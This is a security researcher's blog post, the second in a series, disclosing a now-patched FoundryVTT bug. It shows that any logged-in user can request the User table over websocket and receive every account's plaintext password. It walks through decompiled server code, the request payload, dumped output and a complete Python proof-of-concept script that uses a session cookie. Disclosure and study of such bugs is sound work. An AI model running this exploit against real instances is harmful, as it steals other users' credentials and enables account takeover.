foundryvtt unauthenticated rce part2/3 - dumping creds with facs n' logic

FYI: THIS HAS BEEN FIXED IN FOUNDRY 0.7.10+ AND 0.8.2+. So please update your foundry instance!

This is only part 2 of a 3 part series of blog posts about getting unauthenticated remote code execution in foundryVTT. The last post talked about writing arbitrary files given an authenticated admin session. So is this the post i’ll surely talk about the auth bypass to become admin, right? Nope, not yet :p. I promise the next post will be about the super interesting auth bypass but i really want to get something else out of the way first: a weird bug allowing us to dump all users (and gm’s) passwords given an authenticated user by just asking nicely.

Baby steps

So after finding the previous exploit, i was looking for a way to bypass authentication. The first thing i thought about was checking if there was some sort of database injection i could use to dump passwords.

But catnip

i hear you ask,

the adminkey isn’t even stored in the database

But there is one little thing you need to understand. And that is of course, the fact that i am an idiot sandwitch. Yes, i didn’t even think about that at the time. The admin key is not stored anywhere in any database so this exploit get’s us no further in becomming an admin. On the bright side of things, that means this post now has 3 parts instead of 2 :p.

Querying data

How do players even get data from the foundry database? I noticed that when i opened a compendium (just some sort of ingame documentation don’t worry about it), the following websocket request showed up:

[“modifyCompendium”,{“type”:“pf1.bestiary_3”,“action”:“get”,“data”:{},“options”:{“returnType”:“index”}}]

Interesting; they’re using the modifyCompendium request but with get as the action to fetch the compendium data from the server. So who’s processing this websocket request?

sockets.js:activate:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
async function activate(ctx) {
    const handshake = ctx.handshake.query;
    const sess = auth.sessions.sessions[handshake.session];
    if (!sess) return;
    ctx.session = sess;
    ctx.on('getWorldStatus', requestWorldState);
    ctx.on('getSetupData', x => requestSetupData(sess, x));
    files_1.default.socketListeners(ctx, handleEvent);
    if (!game.world || !game.ready) return;
    const uid = sess.worlds[game.world.id];
    const usr = game.users.find(u => u._id === uid);
    if (!usr) return;
    ctx.userId = uid;
    ctx.user = usr;
    Activity.socketListeners(ctx);
    document_1.default.socketListeners(ctx, handleEvent);
    embedded_1.default.socketListeners(ctx, handleEvent);
    compendium_1.default.socketListeners(ctx, handleEvent);
    Scene.socketListeners(ctx, handleEvent);
    JournalEntry.socketListeners(ctx, handleEvent);
    Playlist.socketListeners(ctx, handleEvent);
    System.socketListeners(ctx);
    Module.socketListeners(ctx);
    World.socketListeners(ctx);
}

This function assigns a handler function to each of the different types of websocket requests. To be more specific, this function calls other functions which assign those handlers to the websocket requests. Im guessing compendium websocket handlers get initialized in

compendium_1.default.socketListeners(ctx, handleEvent);

so let’s go there and see.

1
2
3
4
static socketListeners(arg_0, arg_1) {
    arg_0.on('manageCompendium', arg_1.bind(arg_0, 'manageCompendium', this._onManageCompendium.bind(this)));
    arg_0.on('modifyCompendium', arg_1.bind(arg_0, 'modifyCompendium', this._onModifyDocument.bind(this)));
}

Well that was easy enough. Seems like our modifyCompendium request will be processed within this._onModifyDocument. Wait but that function doesn’t exist?

class BaseCompendium extends document_1.default { …

Ooooooh, riiiight. So the this._onModifyDocument method is inheritet from the parent class document_1.default. AKA

const document_1 = __importDefault(require('../odm/document’));

So once agaaaain we go there and find the implementation: database/odm/document.js:_onModifyDocument

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
static async _onModifyDocument(arg_0, {action, type, data, options}) {
    const table = await this._getTable(type);
    switch (action) {
      case 'get': return table._onGet(arg_0, data, options);
      case 'create': return table._onCreate(arg_0, data, options);
      case 'update': return table._onUpdate(arg_0, data, options);
      case 'delete': return table._onDelete(arg_0, data, options);
      default: throw new Error('Invalid database action ' + action + ' requested on the ' + type + ' table');
    }
}

First it’s getting a table of the type we provided, then it just calls _onGet on that table because the action we provided was get. Sounds easy enough. What does _onGet do tho and can we attack it? database/documents/compendium.js:_onGet:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
static async _onGet(arg_0, arg_1, arg_2) {
    arg_2.broadcast = ![];
    const loc_0 = await this.find(arg_1, { 'sort': { 'name': 1 } });
    switch (arg_2.returnType) {
        case 'index':
            return loc_0.map(arg_0_1 => {
                return {
                    '_id': arg_0_1._id,
                    'name': arg_0_1.name,
                    'img': arg_0_1.thumb || arg_0_1.img
                };
            });
        case 'entry':
            if (loc_0.length > 1) throw new Error('The provided Compendium query returned multiple results when only one was expected');
            return loc_0;
        case 'content': default: return loc_0;
    }
}

Ok so this.find just searches the database table for some search criteria we dont have much control over. Every class (that inherits fromDocument) has its own datastore, which is its own database (kinda). So instead of tables we have datastores. This means we cant just do some sort of injection to query another table (like the users table) inside the get method of our compendium; and dumping the compendiums datastore wouldnt be all that interesting would it? What database are they actualy using?

const {datastores, NeDBDatastore} = require('./odm/datastore’);

AHA, nedb an open-source javascript database not updated in over 5 years. That does sound pretty bad but i couldn’t find any obvious netdb problems at first glance. At this point i realize i need to go back a step. Ive analyzed the compendiums onGet method, but what about the others?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
❯  rg "_onGet"
database/odm/document.js
130:            const res = table._onGet(arg_0, data, options);
150:    static async _onGet(_, data, options) {

database/documents/compendium.js
96:    static async _onGet(arg_0, arg_1, arg_2) {

database/documents/fog.js
41:    static async _onGet(...arg_0) {
42:        const loc_0 = await super._onGet(...arg_0);

Damn. There aren’t many of em to exploit. But 3 is still more than one. database/odm/document.js:_onGet:

1
2
3
4
static async _onGet(_, data, options) {
    options.broadcast = ![];
    return await this.find(data);
}

Ok this one seems pretty blank; standart you might say. It just filters by the data we provide. I mean it makes sense, afterall document is prolly the baseclass. Wait. What. Remember that the compendium is using document as it’s base class? Judging by the name, i feel like document is the baseclass for more than just the compendium, right? Well now i don’t even care about whos implementing (more specifically overriding) _onGet. Quite the opposite actually; i want to know who doesn’t.

Finding the vuln

Every class that inherits document but doesn’t have it’s own _onGet will inherit document:_onGet, a method that returns the whole dataset no questions asked. We already know that only 2 other classes implement _onGet so what inherits from document?

1
2
3
4
5
6
❯  rg "extends document_1.default"
database/odm/entity.js
9:class Entity extends document_1.default {

database/documents/compendium.js
9:class BaseCompendium extends document_1.default {

We know about the compendium, but entity sounds like another baseclass. Another round of grepping aaand

1
2
3
4
5
database/entities/user.js
11:class User extends entity_1.default {

database/entities/folder.js
10:class Folder extends entity_1.default {

Oh. Oh my. Seems like 2 is the lucky number today. After checking i realize user.js is exactly what it sounds like. Its got the role, the permissions, the name, color, character, password. And because it inherits from Entity and entity inherits from Document it indirectly inherits the _onGet method that just yeets everything into my arms. Doing a quick test indeed confirms that:

[“modifyDocument”,{“type”:“User”,“action”:“get”,“data”:{}}]

leads to

1
2
3
4
5
id: 9QMfMfcKwjnU0lQ7 name: lit password: af role: 2
id: FGWnyV4lH2KmuRzd name: salad password: kektop role: 1
id: R8xJ9pkyBP54OIsN name: memes password: topkek role: 1
id: iGNzDi9gdSeZfgZH name: yeet password: top role: 1
id: yYMaJwcVCcqJN09P name: Gamemaster password:  role: 4

Ah myes. Excellent. You may be wondering why i can even see the passwords. The answer is: plaintext passwords. There is an ongoing issue discussing this problem as some people are understandably not happy with the way foundry handles their access keys. Interestingly, in contrast to the users access keys, the adminKey is actually hashed and not stored anywhere near the database but more on that in the next post.

I think this could be considered a logic bug? But honestly all i did was ask the server nicely and it just gave me the passwords.

POC or GTFO

Ok listen. I used this exploit as part of the full admin auth bypass i’ll be releasing next post. So i just quickly copy pasted some code from that exploit into a standalone POC. You use it like this:

python checksess.py <foundry url> <any user session whatsoever>

here’s n example:

1
2
3
4
5
6
7
8
❯  python checksess.py http://localhost:30000 a57md90in5eccr0jdi3q8c15
requested user: admin! rid: a57md90in5eccr0jdi3q8c15 uid: yYMaJwcVCcqJN09P name: Gamemaster password:
other users:
id: 9QMfMfcKwjnU0lQ7 name: lit password: af role: 2
id: FGWnyV4lH2KmuRzd name: salad password: kektop role: 1
id: R8xJ9pkyBP54OIsN name: memes password: topkek role: 1
id: iGNzDi9gdSeZfgZH name: yeet password: top role: 1
id: yYMaJwcVCcqJN09P name: Gamemaster password:  role: 4

You can see the session in your browser in any request in the f12 network tab. In the request headers there will be a cookie like:

Cookie session=a57md90in5eccr0jdi3q8c15

Since (as previously mentioned) this is part of a bigger exploit, i wont put the standalone on github. Instead, here you go: (note that it depends on the socketio library 4.6.1). The version is important because it needs to match up with foundries socketio version.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import sys
import asyncio
from contextlib import asynccontextmanager
from dataclasses import dataclass
from typing import Dict, Optional, Any, AsyncIterator
from urllib.parse import urlparse

import socketio


@dataclass
class Session:
    rid: str
    admin: bool
    user: Optional[Dict[str, Any]]

    def __repr__(self):
        res = f'rid: {self.rid}'
        if self.admin: res = f'admin! {res}'
        if self.user:
            res += f' uid: {self.user["userId"]}'
            u = next((u for u in self.user["result"] if u["_id"] == self.user["userId"]))
            res += f' name: {u.get("name")} password: {u.get("password")}'
        return res


@asynccontextmanager
async def ws(url: str, sess: str) -> AsyncIterator[socketio.AsyncClient]:
    sio = socketio.AsyncClient()
    url = url.rstrip('/')

    try:
        siopath = f'{urlparse(url).path}/socket.io'
        await sio.connect(f'{url}/socket.io/?session={sess}', socketio_path=siopath)
        yield sio
    finally: await sio.disconnect()


async def check_sess(url: str, s: str, active: bool) -> Optional[Session]:
    async with ws(url, s) as sio:
        # check if we're admin
        try: data = await sio.call('getSetupData', timeout=5)
        # session doesnt exist
        except: return None
        ud = None
        # if there is a game running
        if active:
            payload = {"type":"User","action":"get","data":{}}
            try: ud = await sio.call('modifyDocument', data=payload, timeout=5)
            # session is not a user
            except: pass

    return Session(s, data['isAdmin'], ud)


if __name__ == '__main__':
    if not len(sys.argv) > 2: raise SystemExit('usage: python checksess.py <foundry url> <session>')
    s = asyncio.run(check_sess(sys.argv[1], sys.argv[2], True))
    print(f'requested user: {s}')
    print('other users:')
    for u in s.user['result']:
        print(f'id: {u["_id"]} name: {u["name"]} password: {u["password"]} role: {u["role"]}')

2021-06-01 11:01:24 +0200 CEST